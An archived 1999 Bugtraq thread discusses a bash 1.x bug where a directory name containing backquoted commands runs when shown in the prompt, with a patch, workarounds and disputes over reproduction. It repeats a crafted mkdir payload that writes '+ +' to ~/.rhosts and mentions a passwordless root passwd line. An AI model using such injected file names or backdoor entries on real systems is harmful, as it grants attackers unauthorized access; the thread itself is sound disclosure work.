Lucene search
Packet StormPACKETSTORM:11987HistoryAug 17, 1999 - 12:00 a.m.
bash.parse.txt
1999-08-1700:00:00
Packet Storm
packetstormsecurity.com
35
`Date: Tue, 20 Apr 1999 21:25:47 -0400
From: Shadow <[email protected]>
To: [email protected]
Subject: Bash Bug
Figured while everyone was working with bash, I might as well make this
one public(I apologize if this is old news, apparently it hasnt been fixed
if so).
If a user creates a directory with a command like
mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` "
and someone cd's into said directory, either by accident, or whatever,
then it will cause it to actually execute. I also did this with a passwd
file, echo a user such as r00t::0:0:\57root\57bin\57bash instead of + + to
the rhosts. Played with symlinks and a few other ways to see if perhaps
maybe the system could trip it if a user made the directory in say /tmp.
Granted it may be a long shot on the users part, the ability to do so is a
bad thing IMHO. This didnt seem to work on any of my BSD boxes.
shadow - CLE
-------------------------------------------------------------------------
Most Failure is due to giving up, not realizing how close to success you
were - Thomas Edison
-------------------------------------------------------------------------
----------------------------------------------------------------------------
Date: Thu, 22 Apr 1999 13:10:52 +0200
From: Henrik Nordstrom <[email protected]>
To: [email protected]
Subject: Re: Bash Bug
Parts/Attachments:
1 Shown 21 lines Text
2 Shown 20 lines Text
----------------------------------------
Shadow wrote:
> mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` "
>
> and someone cd's into said directory, either by accident, or whatever,
> then it will cause it to actually execute.
It is a vulnerability of the prompt parsing, or more specifically the \w
or \W prompt escapes for showing the current directory. These get parsed
before backquote parsing of the prompt string.
Workaround: Make sure the variable PS1 is set to something not including
the above escapes when cd'ing into directories with backquotes or $ as
part of their name.
Patch for bash-1.14.7 attached.
[email protected] has been notified.
--
Henrik Nordstrom
[ Part 2: "Attached Text" ]
--- parse.y.orig Thu Apr 22 11:53:01 1999
+++ parse.y Thu Apr 22 12:56:34 1999
@@ -2729,6 +2729,17 @@
#else
getwd (t_string);
#endif /* EFFICIENT */
+ if (strcspn(t_string, slashify_in_quotes) < strlen(t_string)) {
+ char t_string2[MAXPATHLEN];
+ int i, j;
+ for (i = 0, j = 0 ; t_string[i] && j < MAXPATHLEN - 2 ; i++) {
+ if (member(t_string[i], slashify_in_quotes))
+ t_string2[j++] = '\\';
+ t_string2[j++] = t_string[i];
+ }
+ t_string2[j] = '\0';
+ strcpy(t_string, t_string2);
+ }
if (c == 'W')
{
----------------------------------------------------------------------------
Date: Wed, 21 Apr 1999 20:39:48 EDT
From: Andy Church <[email protected]>
To: [email protected]
Subject: Re: Bash Bug
>Figured while everyone was working with bash, I might as well make this
>one public(I apologize if this is old news, apparently it hasnt been fixed
>if so).
>
>If a user creates a directory with a command like
>
>mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` "
>
>and someone cd's into said directory, either by accident, or whatever,
>then it will cause it to actually execute.
Just to clarify, this only happens if PS1 (the bash prompt) contains
\w or \W _and_ a prompt is displayed containing the bogus directory name.
This means unattended shell scripts are safe. As a workaround, use `pwd`
in place of \w.
Tested with bash 1.14 (it's the only one I have handy).
--Andy Church
[email protected]
http://achurch.dragonfire.net/
----------------------------------------------------------------------------
Date: Thu, 22 Apr 1999 03:18:48 +0200
From: Marc Lehmann <[email protected]>
To: [email protected]
Subject: Re: Bash Bug
On Tue, Apr 20, 1999 at 09:25:47PM -0400, Shadow wrote:
>
> If a user creates a directory with a command like
>
> mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` "
It seems to me that this is related to the prompt string parsing. If yes,
then bash is not vulnerable unless configured to display the current
directory (correct me if the root of the problem is different).
Some additional notes:
- I was unable to reproduce this on my system, even when bash is configured
to display the current path in the prompt. (bash 2.02.1(1))
- The original example seemed to have too much whitespace. I used:
mkdir "\`echo -e \"echo + +> ~\57.rhosts\" > x; source x; rm -f \x\`"
- PS1 was set to \h:\w\$
HTH
--
-----==- |
----==-- _ |
---==---(_)__ __ ____ __ Marc Lehmann +--
--==---/ / _ \/ // /\ \/ / [email protected] |e|
-=====/_/_//_/\_,_/ /_/\_\ XX11-RIPE --+
The choice of a GNU generation |
|
----------------------------------------------------------------------------
Date: Thu, 22 Apr 1999 11:16:06 +0200
From: Pavel Kankovsky <[email protected]>
To: [email protected]
Subject: Re: Bash Bug
On Tue, 20 Apr 1999, Shadow wrote:
> mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` "
Bash 1.x screws up during PS1 substitution (\w, \W). Bash 2.x does not
seem to be vulnerable. Anyway, there's a hope even for those who want to
stick to 1.x: replace \w with $PWD, \W with ${PWD##*/} (no guarantee).
--Pavel Kankovsky aka Peak [ Boycott Microsoft--http://www.vcnet.com/bms ]
"NSA GCHQ KGB CIA nuclear conspiration war weapon spy agent... Hi Echelon!"
----------------------------------------------------------------------------
Date: Fri, 23 Apr 1999 00:02:57 +0300
From: Guy Cohen <[email protected]>
To: [email protected]
Subject: Re: Bash Bug
At this (Wed, Apr 21, 1999 at 08:39:48PM -0400) day, Andy Church wrote:
.| >If a user creates a directory with a command like
.| >
.| >mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` "
.| >
.| Just to clarify, this only happens if PS1 (the bash prompt) contains
.| \w or \W _and_ a prompt is displayed containing the bogus directory name.
.| This means unattended shell scripts are safe. As a workaround, use `pwd`
.| in place of \w.
.|
Unfortunately this is not true. here is why:
rush:/tmp> bash --version
GNU bash, version 2.03.0(1)-release (i586-pc-linux-gnu)
Copyright 1998 Free Software Foundation, Inc.
rush:/tmp> bash
bash-2.03$ echo $PS1
\s-\v\$
bash-2.03$ cat ~/.rhosts
cat: /export/home/guy/.rhosts: No such file or directory
bash-2.03$ mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` "
bash-2.03$ cd \\\ \ /
bash-2.03$ cat /export/home/guy/.rhosts\
+ +
sh-2.03$
--
Guy Cohen <[email protected]>
----------------------------------------------------------------------------
Date: Thu, 22 Apr 1999 17:43:24 -0400
From: Daniel Jacobowitz <[email protected]>
To: [email protected]
Subject: Re: Bash Bug
On Fri, Apr 23, 1999 at 12:02:57AM +0300, Guy Cohen wrote:
> Unfortunately this is not true. here is why:
> rush:/tmp> bash --version
> GNU bash, version 2.03.0(1)-release (i586-pc-linux-gnu)
> Copyright 1998 Free Software Foundation, Inc.
> rush:/tmp> bash
> bash-2.03$ echo $PS1
> \s-\v\$
> bash-2.03$ cat ~/.rhosts
> cat: /export/home/guy/.rhosts: No such file or directory
> bash-2.03$ mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` "
> bash-2.03$ cd \\\ \ /
> bash-2.03$ cat /export/home/guy/.rhosts\
> + +
> sh-2.03$
That's a quoting error. Look at the mkdir command you typed, and
observe that the backticks are not escaped - thus even inside of ""
they are evaluated.
Witness:
$ ls /drow/.rh*
ls: /drow/.rh*: No such file or directory
$ echo $PS1
\$
$ mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` "
$ ls /drow/.rhosts\
/drow/.rhosts
It doesn't even get .rhosts right - there's a space at the end. You
told bash to make the directory:
`echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ `
Dan
/--------------------------------\ /--------------------------------\
| Daniel Jacobowitz |__| CMU, CS class of 2002 |
| Debian GNU/Linux Developer __ Part-Time Systems Programmer |
| [email protected] | | [email protected] |
\--------------------------------/ \--------------------------------/
----------------------------------------------------------------------------
Date: Thu, 22 Apr 1999 15:44:35 -0400
From: Chet Ramey <[email protected]>
Reply-To: [email protected]
To: [email protected]
Subject: Re: Bash Bug
> On Tue, 20 Apr 1999, Shadow wrote:
>
> > mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` "
>
> Bash 1.x screws up during PS1 substitution (\w, \W). Bash 2.x does not
> seem to be vulnerable. Anyway, there's a hope even for those who want to
> stick to 1.x: replace \w with $PWD, \W with ${PWD##*/} (no guarantee).
This is correct; the bug was fixed in bash-2.0, which was released in
December, 1996. If you're still running 1.14.x, or earlier versions,
you should upgrade to bash-2.03.
--
``The lyf so short, the craft so long to lerne.'' - Chaucer
( ``Discere est Dolere'' -- chet)
Chet Ramey, Case Western Reserve University Internet: [email protected]
----------------------------------------------------------------------------
Date: Fri, 23 Apr 1999 11:25:58 +0100
From: Ph. Rueegsegger <[email protected]>
To: [email protected]
Subject: Re: Bash Bug
Date sent: Thu, 22 Apr 1999 01:39:48 +0100
Send reply to: Andy Church <[email protected]>
>From: Andy Church <[email protected]>
Subject: Re: Bash Bug
Originally to: [email protected]
To: [email protected]
Hello together
> >Figured while everyone was working with bash, I might as well
make this
> >one public(I apologize if this is old news, apparently it hasnt been fixed
> >if so).
> >
> >If a user creates a directory with a command like
> >
> >mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` "
Not bad !
> >
> >and someone cd's into said directory, either by accident, or whatever,
> >then it will cause it to actually execute.
>
> Just to clarify, this only happens if PS1 (the bash prompt) contains
> \w or \W _and_ a prompt is displayed containing the bogus directory name.
> This means unattended shell scripts are safe. As a workaround, use `pwd`
> in place of \w.
Sorry, with bash version 2.01.1 (supplied with SuSE5.3) is just the
opposite of what you are clarifying. If one has \w or \W specified in
PS1 to show the path, it does NOT happen and if `pwd` is specified
instead of \w or \W it DOES happen.
>
> Tested with bash 1.14 (it's the only one I have handy).
>
> --Andy Church
> [email protected]
> http://achurch.dragonfire.net/
Kind regards
Phibus
-----------------------------------------------------------
Philip Rueegsegger
System Manager
Bruker AG Direct dial : +41-1-825 93 46
Industriestrasse 26 Telephone : +41-1-825 91 11
CH-8117 Faellanden Telefax : +41-1-825 94 69
Switzerland E-Mail : [email protected]
-----------------------------------------------------------
----------------------------------------------------------------------------
Date: Tue, 27 Apr 1999 16:38:15 +0200
From: Peter J. Holzer <[email protected]>
To: [email protected]
Subject: Re: Buffer overflow in BASH
On 1999-04-19 14:59:06 -0400, Adam D. McKenna wrote:
> I really don't see the point of people posting bash bugs here.
> Especially not bugs in old versions. There are a lot of bash bugs, you
> can't gain any extra priveleges by exploiting them though.
You can, if you can trigger the bug in a script which is not running
with your privileges - suid and cgi scripts are obvious examples.
So, posting bash bug reports at least reminds people that using
bash - especially old versions - for such scripts is not a good idea.
hp
--
_ | Peter J. Holzer | Where do you want your keys
|_|_) | Sysadmin WSR / Obmann LUGA | to go today?
| | | [email protected] | -- Tom Perrine <[email protected]>
__/ | http://wsrx.wsr.ac.at/~hjp/ | on bugtraq 1999-04-20
`